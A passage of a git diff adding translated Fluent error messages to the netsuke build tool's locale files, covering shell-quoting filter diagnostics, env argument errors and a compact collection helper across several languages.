+stdlib.shell.unquotable = [netsuke::jinja::shell::unquotable] { $details } +stdlib.shell.quote.not_string = shell_quote은(는) 문자열을 기대했지만 { $kind }을(를) 받았습니다. +stdlib.shell.quote.control_character = 널 바이트, 캐리지 리턴 또는 줄바꿈이 포함된 값은 따옴표로 감싸 수 없습니다. +stdlib.shell.dialect_invalid = 알 수 없는 셸 방언 { $dialect }입니다. { $accepted } 중 하나여야 합니다. +stdlib.shell.dialect_not_string = shell의 dialect 옵션은 문자열이어야 합니다. { $kind }을(를) 받았습니다. +stdlib.shell.join.not_sequence = shell_join은(는) 열을 기대했지만 { $kind }을(를) 받았습니다. +stdlib.shell.join.item_not_string = shell_join의 { $index }번째 항목은 { $kind }이며 문자열이 아닙니다. +stdlib.shell.positional_option = { $filter }은(는) 옵션을 키워드로 받습니다. { $example } 형식으로 작성하세요. + # 경로 도우미 진단. stdlib.path.io.failed = { $path }에 대한 '{ $action }'에 실패했습니다({ $label }). stdlib.path.io.failed_with_detail = { $path }에 대한 '{ $action }'에 실패했습니다: { $detail }. @@ -340,6 +353,7 @@ stdlib.path.hash.unsupported_algorithm_legacy = 지원하지 않는 해시 알 # 컬렉션 도우미 진단. stdlib.collections.flatten.expected_sequence = flatten은 열의 항목을 기대했지만 { $kind }을(를) 발견했습니다. +stdlib.collections.compact.not_sequence = compact는 열을 기대했지만 { $kind }을(를) 발견했습니다. stdlib.collections.group_by.empty_attribute = group_by에는 비어 있지 않은 속성이 필요합니다. stdlib.collections.group_by.unresolved = group_by가 { $kind } 형식의 항목에서 '{ $attr }'을(를) 찾지 못했습니다. diff --git a/locales/nb/messages.ftl b/locales/nb/messages.ftl index 2e083f815..1b76af5f4 100644 --- a/locales/nb/messages.ftl +++ b/locales/nb/messages.ftl @@ -139,6 +139,8 @@ manifest.yaml.hint.escape = Escape omvendte skråstreker, eller fjern ugyldige e manifest.env.missing = En påkrevd miljøvariabel er ikke satt. manifest.env.invalid_utf8 = En miljøvariabel inneholder ugyldig UTF-8. manifest.env.blocked = Tilgang til en miljøvariabel er blokkert. +manifest.env.args_error = [netsuke::jinja::env::args] { $details } +manifest.env.default_not_string = default i env må være en streng, mottok { $kind }. manifest.vars.not_object = `vars` i manifestet må være en tilordning eller et objekt. manifest.vars.reserved_name = Manifestets `vars`-nøkkel '{ $name }' er reservert for en innebygd malhjelper; gi variabelen et nytt navn. manifest.read_failed = Manifestet i { $path } kunne ikke leses. @@ -285,6 +287,17 @@ stdlib.command.output.mode.streaming = strømming stdlib.command.output.stream.stdout = stdout stdlib.command.output.stream.stderr = stderr +# Recipe-text shell quoting diagnostics. +stdlib.shell.args_error = [netsuke::jinja::shell::args] { $details } +stdlib.shell.unquotable = [netsuke::jinja::shell::unquotable] { $details } +stdlib.shell.quote.not_string = shell_quote ventet en streng, men fikk { $kind }. +stdlib.shell.quote.control_character = En verdi som inneholder en nullbyte, vognretur eller linjeskift kan ikke settes i anførselstegn. +stdlib.shell.dialect_invalid = Ukjent shell-dialekt { $dialect }; ventet en av { $accepted }. +stdlib.shell.dialect_not_string = dialect-alternativet i shell må være en streng, mottok { $kind }. +stdlib.shell.join.not_sequence = shell_join ventet en sekvens, men fikk { $kind }. +stdlib.shell.join.item_not_string = Element { $index } i shell_join er { $kind }, ikke en streng. +stdlib.shell.positional_option = { $filter } tar alternativene sine som nøkkelord; skriv { $example }. + # Diagnostikk for stihjelperen. stdlib.path.io.failed = { $action } mislyktes for { $path } ({ $label }). stdlib.path.io.failed_with_detail = { $action } mislyktes for { $path }: { $detail }. @@ -340,6 +353,7 @@ stdlib.path.hash.unsupported_algorithm_legacy = Hash-algoritmen «{ $algorithm } # Diagnostikk for samlingshjelpere. stdlib.collections.flatten.expected_sequence = flatten ventet elementer fra en sekvens, men fant { $kind }. +stdlib.collections.compact.not_sequence = compact ventet en sekvens, men fant { $kind }. stdlib.collections.group_by.empty_attribute = group_by krever et attributt som ikke er tomt. stdlib.collections.group_by.unresolved = group_by kunne ikke slå opp «{ $attr }» på et element av typen { $kind }. diff --git a/locales/nl/messages.ftl b/locales/nl/messages.ftl index 897d27fc7..bfed1ee41 100644 --- a/locales/nl/messages.ftl +++ b/locales/nl/messages.ftl @@ -139,6 +139,8 @@ manifest.yaml.hint.escape = Escape de backslashes of verwijder ongeldige escaper manifest.env.missing = Een vereiste omgevingsvariabele is niet ingesteld. manifest.env.invalid_utf8 = Een omgevingsvariabele bevat ongeldige UTF-8. manifest.env.blocked = Toegang tot een omgevingsvariabele is geblokkeerd. +manifest.env.args_error = [netsuke::jinja::env::args] { $details } +manifest.env.default_not_string = De default van env moet een tekenreeks zijn, ontvangen { $kind }. manifest.vars.not_object = De `vars` van het manifest moet een toewijzing of object zijn. manifest.vars.reserved_name = De `vars`-sleutel '{ $name }' in het manifest is gereserveerd voor een ingebouwde sjabloonfunctie; hernoem de variabele. manifest.read_failed = Het manifest in { $path } kon niet worden gelezen. @@ -285,6 +287,17 @@ stdlib.command.output.mode.streaming = streamen stdlib.command.output.stream.stdout = stdout stdlib.command.output.stream.stderr = stderr +# Recipe-text shell quoting diagnostics. +stdlib.shell.args_error = [netsuke::jinja::shell::args] { $details } +stdlib.shell.unquotable = [netsuke::jinja::shell::unquotable] { $details } +stdlib.shell.quote.not_string = shell_quote verwachtte een tekenreeks, maar kreeg { $kind }. +stdlib.shell.quote.control_character = Een waarde met een nulbyte, regelterugloop of regeleinde kan niet tussen aanhalingstekens worden gezet. +stdlib.shell.dialect_invalid = Onbekend shell-dialect { $dialect }; verwacht een van { $accepted }. +stdlib.shell.dialect_not_string = De optie dialect van shell moet een tekenreeks zijn, ontvangen { $kind }. +stdlib.shell.join.not_sequence = shell_join verwachtte een reeks, maar kreeg { $kind }. +stdlib.shell.join.item_not_string = Element { $index } van shell_join is { $kind }, geen tekenreeks. +stdlib.shell.positional_option = { $filter } neemt zijn opties als trefwoord; schrijf { $example }. + # Diagnostiek van de padhelper. stdlib.path.io.failed = { $action } is mislukt voor { $path } ({ $label }). stdlib.path.io.failed_with_detail = { $action } is mislukt voor { $path }: { $detail }. @@ -340,6 +353,7 @@ stdlib.path.hash.unsupported_algorithm_legacy = Het hash-algoritme ‘{ $algorit # Diagnostiek van de verzamelinghelpers. stdlib.collections.flatten.expected_sequence = flatten verwachtte items uit een reeks, maar vond { $kind }. +stdlib.collections.compact.not_sequence = compact verwachtte een reeks, maar vond { $kind }. stdlib.collections.group_by.empty_attribute = group_by vereist een attribuut dat niet leeg is. stdlib.collections.group_by.unresolved = group_by kon ‘{ $attr }’ niet vinden op een item van het type { $kind }. diff --git a/locales/pl/messages.ftl b/locales/pl/messages.ftl index 73f79a12c..e71a0ecf5 100644 --- a/locales/pl/messages.ftl +++ b/locales/pl/messages.ftl @@ -139,6 +139,8 @@ manifest.yaml.hint.escape = Poprzedź ukośniki odwrotne znakiem ucieczki albo u manifest.env.missing = Wymagana zmienna środowiskowa nie jest ustawiona. manifest.env.invalid_utf8 = Zmienna środowiskowa zawiera nieprawidłowy UTF-8. manifest.env.blocked = Dostęp do zmiennej środowiskowej jest zablokowany. +manifest.env.args_error = [netsuke::jinja::env::args] { $details } +manifest.env.default_not_string = Wartość default w env musi być łańcuchem znaków; typ otrzymanej wartości: { $kind }. manifest.vars.not_object = Pole `vars` manifestu musi być odwzorowaniem lub obiektem. manifest.vars.reserved_name = Klucz `vars` '{ $name }' w manifeście jest zarezerwowany dla wbudowanej funkcji pomocniczej szablonów; zmień nazwę zmiennej. manifest.read_failed = Nie udało się odczytać manifestu z { $path }. @@ -285,6 +287,17 @@ stdlib.command.output.mode.streaming = strumieniowanie stdlib.command.output.stream.stdout = stdout stdlib.command.output.stream.stderr = stderr +# Recipe-text shell quoting diagnostics. +stdlib.shell.args_error = [netsuke::jinja::shell::args] { $details } +stdlib.shell.unquotable = [netsuke::jinja::shell::unquotable] { $details } +stdlib.shell.quote.not_string = shell_quote oczekiwał ciągu, ale otrzymał { $kind }. +stdlib.shell.quote.control_character = Wartości zawierającej bajt zerowy, powrót karetki lub znak nowego wiersza nie można ująć w cudzysłów. +stdlib.shell.dialect_invalid = Nieznany dialekt powłoki { $dialect }; oczekiwano jednego z { $accepted }. +stdlib.shell.dialect_not_string = Opcja dialect w shell musi być łańcuchem znaków; typ otrzymanej wartości: { $kind }. +stdlib.shell.join.not_sequence = shell_join oczekiwał sekwencji, ale otrzymał { $kind }. +stdlib.shell.join.item_not_string = Element { $index } w shell_join ma typ { $kind }, a nie ciąg. +stdlib.shell.positional_option = { $filter } przyjmuje opcje jako słowa kluczowe; zapisz { $example }. + # Diagnostyka pomocnika ścieżek. stdlib.path.io.failed = Operacja „{ $action }” nie powiodła się dla { $path } ({ $label }). stdlib.path.io.failed_with_detail = Operacja „{ $action }” nie powiodła się dla { $path }: { $detail }. @@ -340,6 +353,7 @@ stdlib.path.hash.unsupported_algorithm_legacy = Nieobsługiwany algorytm skrótu # Diagnostyka pomocników kolekcji. stdlib.collections.flatten.expected_sequence = flatten oczekiwał elementów sekwencji, ale napotkał { $kind }. +stdlib.collections.compact.not_sequence = compact oczekiwał sekwencji; typ otrzymanej wartości: { $kind }. stdlib.collections.group_by.empty_attribute = group_by wymaga niepustego atrybutu. stdlib.collections.group_by.unresolved = group_by nie zdołał odnaleźć „{ $attr }” w elemencie typu { $kind }. diff --git a/locales/pt-BR/messages.ftl b/locales/pt-BR/messages.ftl index 1d7f5681f..0605fbdea 100644 --- a/locales/pt-BR/messages.ftl +++ b/locales/pt-BR/messages.ftl @@ -140,6 +140,8 @@ manifest.yaml.hint.escape = Escape as barras invertidas ou remova as sequências manifest.env.missing = Uma variável de ambiente obrigatória não está definida. manifest.env.invalid_utf8 = Uma variável de ambiente contém UTF-8 inválido. manifest.env.blocked = O acesso a uma variável de ambiente está bloqueado. +manifest.env.args_error = [netsuke::jinja::env::args] { $details } +manifest.env.default_not_string = O default de env deve ser uma string, recebido { $kind }. manifest.vars.not_object = `vars` do manifesto deve ser um mapa ou objeto. manifest.vars.reserved_name = A chave `vars` '{ $name }' do manifesto está reservada para uma função auxiliar de template integrada; renomeie a variável. manifest.read_failed = Não foi possível ler o manifesto em { $path }. @@ -286,6 +288,17 @@ stdlib.command.output.mode.streaming = streaming stdlib.command.output.stream.stdout = stdout stdlib.command.output.stream.stderr = stderr +# Recipe-text shell quoting diagnostics. +stdlib.shell.args_error = [netsuke::jinja::shell::args] { $details } +stdlib.shell.unquotable = [netsuke::jinja::shell::unquotable] { $details } +stdlib.shell.quote.not_string = O shell_quote esperava uma cadeia de caracteres, mas recebeu { $kind }. +stdlib.shell.quote.control_character = Um valor que contenha byte nulo, retorno de carro ou quebra de linha não pode ser colocado entre aspas. +stdlib.shell.dialect_invalid = Dialeto de shell desconhecido { $dialect }; esperado um de { $accepted }. +stdlib.shell.dialect_not_string = A opção dialect de shell deve ser uma string, recebido { $kind }. +stdlib.shell.join.not_sequence = O shell_join esperava uma sequência, mas recebeu { $kind }. +stdlib.shell.join.item_not_string = O item { $index } de shell_join é { $kind }, não uma cadeia de caracteres. +stdlib.shell.positional_option = { $filter } recebe suas opções por palavra-chave; escreva { $example }. + # Diagnósticos do auxiliar de caminhos. stdlib.path.io.failed = { $action } falhou para { $path } ({ $label }). stdlib.path.io.failed_with_detail = { $action } falhou para { $path }: { $detail }. @@ -341,6 +354,7 @@ stdlib.path.hash.unsupported_algorithm_legacy = Algoritmo de hash sem suporte "{ # Diagnósticos dos auxiliares de coleções. stdlib.collections.flatten.expected_sequence = O flatten esperava itens de uma sequência, mas encontrou { $kind }. +stdlib.collections.compact.not_sequence = O compact esperava uma sequência, mas encontrou { $kind }. stdlib.collections.group_by.empty_attribute = O group_by exige um atributo não vazio. stdlib.collections.group_by.unresolved = O group_by não conseguiu resolver "{ $attr }" em um item do tipo { $kind }. diff --git a/locales/pt-PT/messages.ftl b/locales/pt-PT/messages.ftl index 3d37613cd..db9932815 100644 --- a/locales/pt-PT/messages.ftl +++ b/locales/pt-PT/messages.ftl @@ -140,6 +140,8 @@ manifest.yaml.hint.escape = Faça o escape das barras invertidas ou remova as se manifest.env.missing = Uma variável de ambiente obrigatória não está definida. manifest.env.invalid_utf8 = Uma variável de ambiente contém UTF-8 inválido. manifest.env.blocked = O acesso a uma variável de ambiente está bloqueado. +manifest.env.args_error = [netsuke::jinja::env::args] { $details } +manifest.env.default_not_string = O default de env tem de ser uma cadeia de carateres, recebido { $kind }. manifest.vars.not_object = `vars` do manifesto tem de ser um mapa ou objeto. manifest.vars.reserved_name = A chave `vars` '{ $name }' do manifesto está reservada a uma função auxiliar de modelo integrada; mude o nome da variável. manifest.read_failed = Não foi possível ler o manifesto em { $path }. @@ -286,6 +288,17 @@ stdlib.command.output.mode.streaming = fluxo contínuo stdlib.command.output.stream.stdout = stdout stdlib.command.output.stream.stderr = stderr +# Recipe-text shell quoting diagnostics. +stdlib.shell.args_error = [netsuke::jinja::shell::args] { $details } +stdlib.shell.unquotable = [netsuke::jinja::shell::unquotable] { $details } +stdlib.shell.quote.not_string = O shell_quote esperava uma cadeia de caracteres, mas recebeu { $kind }. +stdlib.shell.quote.control_character = Um valor que contenha um byte nulo, retorno de carro ou quebra de linha não pode ser colocado entre aspas. +stdlib.shell.dialect_invalid = Dialeto de shell desconhecido { $dialect }; esperado um de { $accepted }. +stdlib.shell.dialect_not_string = A opção dialect de shell tem de ser uma cadeia de carateres, recebido { $kind }. +stdlib.shell.join.not_sequence = O shell_join esperava uma sequência, mas recebeu { $kind }. +stdlib.shell.join.item_not_string = O item { $index } de shell_join é { $kind }, não uma cadeia de caracteres. +stdlib.shell.positional_option = { $filter } recebe as suas opções por palavra-chave; escreva { $example }. + # Diagnósticos do auxiliar de caminhos. stdlib.path.io.failed = { $action } falhou para { $path } ({ $label }). stdlib.path.io.failed_with_detail = { $action } falhou para { $path }: { $detail }. @@ -341,6 +354,7 @@ stdlib.path.hash.unsupported_algorithm_legacy = Algoritmo de hash não suportado # Diagnósticos dos auxiliares de coleções. stdlib.collections.flatten.expected_sequence = O flatten esperava itens de uma sequência, mas encontrou { $kind }. +stdlib.collections.compact.not_sequence = O compact esperava uma sequência, mas encontrou { $kind }. stdlib.collections.group_by.empty_attribute = O group_by exige um atributo não vazio. stdlib.collections.group_by.unresolved = O group_by não conseguiu resolver «{ $attr }» num item do tipo { $kind }. diff --git a/locales/ro/messages.ftl b/locales/ro/messages.ftl index 47abe44d1..8fb88e611 100644 --- a/locales/ro/messages.ftl +++ b/locales/ro/messages.ftl @@ -139,6 +139,8 @@ manifest.yaml.hint.escape = Aplicați escape barelor oblice inverse sau elimina manifest.env.missing = O variabilă de mediu obligatorie nu este setată. manifest.env.invalid_utf8 = O variabilă de mediu conține UTF-8 nevalid. manifest.env.blocked = Accesul la o variabilă de mediu este blocat. +manifest.env.args_error = [netsuke::jinja::env::args] { $details } +manifest.env.default_not_string = Valoarea default din env trebuie să fie un șir de caractere, s-a primit { $kind }. manifest.vars.not_object = Câmpul `vars` al manifestului trebuie să fie o mapare sau un obiect. manifest.vars.reserved_name = Cheia `vars` '{ $name }' din manifest este rezervată pentru o funcție ajutătoare de șabloane integrată; redenumiți variabila. manifest.read_failed = Manifestul din { $path } nu a putut fi citit. @@ -285,6 +287,17 @@ stdlib.command.output.mode.streaming = flux continuu stdlib.command.output.stream.stdout = stdout stdlib.command.output.stream.stderr = stderr +# Recipe-text shell quoting diagnostics. +stdlib.shell.args_error = [netsuke::jinja::shell::args] { $details } +stdlib.shell.unquotable = [netsuke::jinja::shell::unquotable] { $details } +stdlib.shell.quote.not_string = shell_quote aștepta un șir, dar a primit { $kind }. +stdlib.shell.quote.control_character = O valoare care conține octet nul, retur de car sau salt de linie nu poate fi pusă între ghilimele. +stdlib.shell.dialect_invalid = Dialect de shell necunoscut { $dialect }; se aștepta unul dintre { $accepted }. +stdlib.shell.dialect_not_string = Opțiunea dialect din shell trebuie să fie un șir de caractere, s-a primit { $kind }. +stdlib.shell.join.not_sequence = shell_join aștepta o secvență, dar a primit { $kind }. +stdlib.shell.join.item_not_string = Elementul { $index } din shell_join este { $kind }, nu un șir. +stdlib.shell.positional_option = { $filter } își preia opțiunile ca cuvinte-cheie; scrieți { $example }. + # Diagnostice ale ajutorului pentru căi. stdlib.path.io.failed = Acțiunea „{ $action }” a eșuat pentru { $path } ({ $label }). stdlib.path.io.failed_with_detail = Acțiunea „{ $action }” a eșuat pentru { $path }: { $detail }. @@ -340,6 +353,7 @@ stdlib.path.hash.unsupported_algorithm_legacy = Algoritm de dispersie neacceptat # Diagnostice ale ajutoarelor pentru colecții. stdlib.collections.flatten.expected_sequence = flatten aștepta elemente dintr-o secvență, dar a găsit { $kind }. +stdlib.collections.compact.not_sequence = compact aștepta o secvență, dar a găsit { $kind }. stdlib.collections.group_by.empty_attribute = group_by necesită un atribut care nu este gol. stdlib.collections.group_by.unresolved = group_by nu a putut găsi „{ $attr }” pe un element de tipul { $kind }. diff --git a/locales/ru/messages.ftl b/locales/ru/messages.ftl index 44b8286ed..c1196da15 100644 --- a/locales/ru/messages.ftl +++ b/locales/ru/messages.ftl @@ -139,6 +139,8 @@ manifest.yaml.hint.escape = Экранируйте обратные косые manifest.env.missing = Обязательная переменная окружения не задана. manifest.env.invalid_utf8 = Переменная окружения содержит некорректный UTF-8. manifest.env.blocked = Доступ к переменной окружения заблокирован. +manifest.env.args_error = [netsuke::jinja::env::args] { $details } +manifest.env.default_not_string = Значение default в env должно быть строкой, получено { $kind }. manifest.vars.not_object = Поле `vars` манифеста должно быть отображением или объектом. manifest.vars.reserved_name = Ключ `vars` '{ $name }' в манифесте зарезервирован для встроенной вспомогательной функции шаблонов; переименуйте переменную. manifest.read_failed = Не удалось прочитать манифест по пути { $path }. @@ -285,6 +287,17 @@ stdlib.command.output.mode.streaming = потоковая передача stdlib.command.output.stream.stdout = stdout stdlib.command.output.stream.stderr = stderr +# Recipe-text shell quoting diagnostics. +stdlib.shell.args_error = [netsuke::jinja::shell::args] { $details } +stdlib.shell.unquotable = [netsuke::jinja::shell::unquotable] { $details } +stdlib.shell.quote.not_string = shell_quote ожидал строку, но получил { $kind }. +stdlib.shell.quote.control_character = Значение, содержащее нулевой байт, возврат каретки или перевод строки, нельзя заключить в кавычки. +stdlib.shell.dialect_invalid = Неизвестный диалект оболочки { $dialect }; ожидается один из { $accepted }. +stdlib.shell.dialect_not_string = Опция dialect в shell должна быть строкой, получено { $kind }. +stdlib.shell.join.not_sequence = shell_join ожидал последовательность, но получил { $kind }. +stdlib.shell.join.item_not_string = Элемент { $index } в shell_join имеет тип { $kind }, а не строку. +stdlib.shell.positional_option = { $filter } принимает параметры по ключевым словам; напишите { $example }. + # Диагностика помощника для путей. stdlib.path.io.failed = Не удалось выполнить действие «{ $action }» для { $path } ({ $label }). stdlib.path.io.failed_with_detail = Не удалось выполнить действие «{ $action }» для { $path }: { $detail }. @@ -340,6 +353,7 @@ stdlib.path.hash.unsupported_algorithm_legacy = Неподдерживаемый # Диагностика помощников для коллекций. stdlib.collections.flatten.expected_sequence = flatten ожидал элементы последовательности, но обнаружил { $kind }. +stdlib.collections.compact.not_sequence = compact ожидал последовательность, но обнаружил { $kind }. stdlib.collections.group_by.empty_attribute = group_by требует непустой атрибут. stdlib.collections.group_by.unresolved = group_by не смог найти «{ $attr }» у элемента типа { $kind }. diff --git a/locales/sv/messages.ftl b/locales/sv/messages.ftl index ef6dabffc..79d89d8e0 100644 --- a/locales/sv/messages.ftl +++ b/locales/sv/messages.ftl @@ -139,6 +139,8 @@ manifest.yaml.hint.escape = Escapa omvända snedstreck eller ta bort ogiltiga es manifest.env.missing = En obligatorisk miljövariabel är inte satt. manifest.env.invalid_utf8 = En miljövariabel innehåller ogiltig UTF-8. manifest.env.blocked = Åtkomst till en miljövariabel är blockerad. +manifest.env.args_error = [netsuke::jinja::env::args] { $details } +manifest.env.default_not_string = default i env måste vara en sträng, tog emot { $kind }. manifest.vars.not_object = Manifestets `vars` måste vara en mappning eller ett objekt. manifest.vars.reserved_name = Manifestets `vars`-nyckel '{ $name }' är reserverad för en inbyggd mallhjälpare; byt namn på variabeln. manifest.read_failed = Manifestet i { $path } kunde inte läsas. @@ -285,6 +287,17 @@ stdlib.command.output.mode.streaming = strömning stdlib.command.output.stream.stdout = stdout stdlib.command.output.stream.stderr = stderr +# Recipe-text shell quoting diagnostics. +stdlib.shell.args_error = [netsuke::jinja::shell::args] { $details } +stdlib.shell.unquotable = [netsuke::jinja::shell::unquotable] { $details } +stdlib.shell.quote.not_string = shell_quote väntade en sträng men fick { $kind }. +stdlib.shell.quote.control_character = Ett värde som innehåller en nollbyte, vagnretur eller radmatning kan inte citeras. +stdlib.shell.dialect_invalid = Okänd shelldialekt { $dialect }; väntade en av { $accepted }. +stdlib.shell.dialect_not_string = dialect-alternativet i shell måste vara en sträng, tog emot { $kind }. +stdlib.shell.join.not_sequence = shell_join väntade en sekvens men fick { $kind }. +stdlib.shell.join.item_not_string = Element { $index } i shell_join är { $kind }, inte en sträng. +stdlib.shell.positional_option = { $filter } tar sina alternativ som nyckelord; skriv { $example }. + # Diagnostik för sökvägshjälparen. stdlib.path.io.failed = { $action } misslyckades för { $path } ({ $label }). stdlib.path.io.failed_with_detail = { $action } misslyckades för { $path }: { $detail }. @@ -340,6 +353,7 @@ stdlib.path.hash.unsupported_algorithm_legacy = Hashalgoritmen ”{ $algorithm } # Diagnostik för samlingshjälpare. stdlib.collections.flatten.expected_sequence = flatten väntade poster från en sekvens men fann { $kind }. +stdlib.collections.compact.not_sequence = compact väntade en sekvens men fann { $kind }. stdlib.collections.group_by.empty_attribute = group_by kräver ett attribut som inte är tomt. stdlib.collections.group_by.unresolved = group_by kunde inte slå upp ”{ $attr }” på en post av typen { $kind }. diff --git a/locales/th/messages.ftl b/locales/th/messages.ftl index eaabf7b16..770c8db46 100644 --- a/locales/th/messages.ftl +++ b/locales/th/messages.ftl @@ -139,6 +139,8 @@ manifest.yaml.hint.escape = โปรดหลีกอักขระแบ็ manifest.env.missing = ยังไม่ได้ตั้งค่าตัวแปรสภาพแวดล้อมที่จำเป็น manifest.env.invalid_utf8 = ตัวแปรสภาพแวดล้อมมี UTF-8 ที่ไม่ถูกต้อง manifest.env.blocked = การเข้าถึงตัวแปรสภาพแวดล้อมถูกบล็อก +manifest.env.args_error = [netsuke::jinja::env::args] { $details } +manifest.env.default_not_string = ค่า default ของ env ต้องเป็นสายอักขระ แต่ได้รับ { $kind } manifest.vars.not_object = `vars` ของไฟล์รายการต้องเป็นการจับคู่หรือวัตถุ manifest.vars.reserved_name = คีย์ `vars` '{ $name }' ของมานิเฟสต์ถูกสงวนไว้สำหรับฟังก์ชันช่วยเทมเพลตในตัว โปรดเปลี่ยนชื่อตัวแปร manifest.read_failed = อ่านไฟล์รายการที่ { $path } ไม่สำเร็จ @@ -285,6 +287,17 @@ stdlib.command.output.mode.streaming = การส่งเป็นสาย stdlib.command.output.stream.stdout = stdout stdlib.command.output.stream.stderr = stderr +# Recipe-text shell quoting diagnostics. +stdlib.shell.args_error = [netsuke::jinja::shell::args] { $details } +stdlib.shell.unquotable = [netsuke::jinja::shell::unquotable] { $details } +stdlib.shell.quote.not_string = shell_quote คาดหวังสตริง แต่ได้รับ { $kind } +stdlib.shell.quote.control_character = ค่าที่มีไบต์ศูนย์ ปัดแคร่ หรือขึ้นบรรทัดใหม่ไม่สามารถใส่เครื่องหมายอัญประกาศได้ +stdlib.shell.dialect_invalid = ไม่รู้จักไดอาเล็กต์ของเชลล์ { $dialect } คาดว่าจะเป็นหนึ่งใน { $accepted } +stdlib.shell.dialect_not_string = ออปชัน dialect ของ shell ต้องเป็นสายอักขระ แต่ได้รับ { $kind } +stdlib.shell.join.not_sequence = shell_join คาดหวังลำดับ แต่ได้รับ { $kind } +stdlib.shell.join.item_not_string = รายการ { $index } ของ shell_join เป็น { $kind } ไม่ใช่สตริง +stdlib.shell.positional_option = { $filter } รับตัวเลือกเป็นคีย์เวิร์ด เขียน { $example } + # การวินิจฉัยของตัวช่วยด้านเส้นทาง stdlib.path.io.failed = การกระทำ “{ $action }” ล้มเหลวสำหรับ { $path } ({ $label }) stdlib.path.io.failed_with_detail = การกระทำ “{ $action }” ล้มเหลวสำหรับ { $path }: { $detail } @@ -340,6 +353,7 @@ stdlib.path.hash.unsupported_algorithm_legacy = ไม่รองรับข # การวินิจฉัยของตัวช่วยด้านคอลเลกชัน stdlib.collections.flatten.expected_sequence = flatten คาดว่าจะพบสมาชิกของลำดับ แต่พบ { $kind } +stdlib.collections.compact.not_sequence = compact คาดว่าจะพบลำดับ แต่พบ { $kind } stdlib.collections.group_by.empty_attribute = group_by ต้องมีแอตทริบิวต์ที่ไม่ว่างเปล่า stdlib.collections.group_by.unresolved = group_by หา “{ $attr }” ในสมาชิกชนิด { $kind } ไม่พบ diff --git a/locales/tr/messages.ftl b/locales/tr/messages.ftl index ef86df8a1..0d96f73d1 100644 --- a/locales/tr/messages.ftl +++ b/locales/tr/messages.ftl @@ -139,6 +139,8 @@ manifest.yaml.hint.escape = Ters eğik çizgileri kaçırın ya da geçersiz ka manifest.env.missing = Gerekli bir ortam değişkeni ayarlanmamış. manifest.env.invalid_utf8 = Bir ortam değişkeni geçersiz UTF-8 içeriyor. manifest.env.blocked = Bir ortam değişkenine erişim engellendi. +manifest.env.args_error = [netsuke::jinja::env::args] { $details } +manifest.env.default_not_string = env default değeri bir dizge olmalıdır, { $kind } alındı. manifest.vars.not_object = Bildirimin `vars` alanı bir eşleme ya da nesne olmalıdır. manifest.vars.reserved_name = Manifestteki `vars` anahtarı '{ $name }' yerleşik bir şablon yardımcı işlevi için ayrılmıştır; değişkeni yeniden adlandırın. manifest.read_failed = { $path } konumundaki bildirim okunamadı. @@ -285,6 +287,17 @@ stdlib.command.output.mode.streaming = akış stdlib.command.output.stream.stdout = stdout stdlib.command.output.stream.stderr = stderr +# Recipe-text shell quoting diagnostics. +stdlib.shell.args_error = [netsuke::jinja::shell::args] { $details } +stdlib.shell.unquotable = [netsuke::jinja::shell::unquotable] { $details } +stdlib.shell.quote.not_string = shell_quote bir dize bekliyordu, ancak { $kind } aldı. +stdlib.shell.quote.control_character = Null bayt, satır başı veya satır sonu içeren bir değer tırnak içine alınamaz. +stdlib.shell.dialect_invalid = Bilinmeyen kabuk lehçesi { $dialect }; şunlardan biri bekleniyordu: { $accepted }. +stdlib.shell.dialect_not_string = shell dialect seçeneği bir dizge olmalıdır, { $kind } alındı. +stdlib.shell.join.not_sequence = shell_join bir dizi bekliyordu, ancak { $kind } aldı. +stdlib.shell.join.item_not_string = shell_join öğesi { $index }, { $kind } türünde; dize değil. +stdlib.shell.positional_option = { $filter } seçeneklerini anahtar sözcükle alır; şöyle yazın: { $example }. + # Yol yardımcısının tanılaması. stdlib.path.io.failed = "{ $action }" eylemi { $path } için başarısız oldu ({ $label }). stdlib.path.io.failed_with_detail = "{ $action }" eylemi { $path } için başarısız oldu: { $detail }. @@ -340,6 +353,7 @@ stdlib.path.hash.unsupported_algorithm_legacy = Desteklenmeyen özet algoritmas # Koleksiyon yardımcılarının tanılaması. stdlib.collections.flatten.expected_sequence = flatten dizi öğeleri bekliyordu, ancak { $kind } buldu. +stdlib.collections.compact.not_sequence = compact bir dizi bekliyordu, ancak { $kind } buldu. stdlib.collections.group_by.empty_attribute = group_by boş olmayan bir öznitelik gerektirir. stdlib.collections.group_by.unresolved = group_by, { $kind } türündeki bir öğede "{ $attr }" özniteliğini bulamadı. diff --git a/locales/uk/messages.ftl b/locales/uk/messages.ftl index 150b78551..c4ea83793 100644 --- a/locales/uk/messages.ftl +++ b/locales/uk/messages.ftl @@ -139,6 +139,8 @@ manifest.yaml.hint.escape = Екрануйте зворотні скісні р manifest.env.missing = Обов’язкову змінну середовища не задано. manifest.env.invalid_utf8 = Змінна середовища містить некоректний UTF-8. manifest.env.blocked = Доступ до змінної середовища заблоковано. +manifest.env.args_error = [netsuke::jinja::env::args] { $details } +manifest.env.default_not_string = Значення default у env має бути рядком, отримано { $kind }. manifest.vars.not_object = Поле `vars` маніфесту має бути відображенням або об’єктом. manifest.vars.reserved_name = Ключ `vars` '{ $name }' у маніфесті зарезервовано для вбудованої допоміжної функції шаблонів; перейменуйте змінну. manifest.read_failed = Не вдалося прочитати маніфест за шляхом { $path }. @@ -285,6 +287,17 @@ stdlib.command.output.mode.streaming = потокова передача stdlib.command.output.stream.stdout = stdout stdlib.command.output.stream.stderr = stderr +# Recipe-text shell quoting diagnostics. +stdlib.shell.args_error = [netsuke::jinja::shell::args] { $details } +stdlib.shell.unquotable = [netsuke::jinja::shell::unquotable] { $details } +stdlib.shell.quote.not_string = shell_quote очікував рядок, але отримав { $kind }. +stdlib.shell.quote.control_character = Значення, що містить нульовий байт, повернення каретки або переведення рядка, не можна взяти в лапки. +stdlib.shell.dialect_invalid = Невідомий діалект оболонки { $dialect }; очікується один із { $accepted }. +stdlib.shell.dialect_not_string = Опція dialect у shell має бути рядком, отримано { $kind }. +stdlib.shell.join.not_sequence = shell_join очікував послідовність, але отримав { $kind }. +stdlib.shell.join.item_not_string = Елемент { $index } у shell_join має тип { $kind }, а не рядок. +stdlib.shell.positional_option = { $filter } приймає параметри за ключовими словами; напишіть { $example }. + # Діагностика помічника для шляхів. stdlib.path.io.failed = Не вдалося виконати дію «{ $action }» для { $path } ({ $label }). stdlib.path.io.failed_with_detail = Не вдалося виконати дію «{ $action }» для { $path }: { $detail }. @@ -340,6 +353,7 @@ stdlib.path.hash.unsupported_algorithm_legacy = Непідтримуваний # Діагностика помічників для колекцій. stdlib.collections.flatten.expected_sequence = flatten очікував елементи послідовності, але знайшов { $kind }. +stdlib.collections.compact.not_sequence = 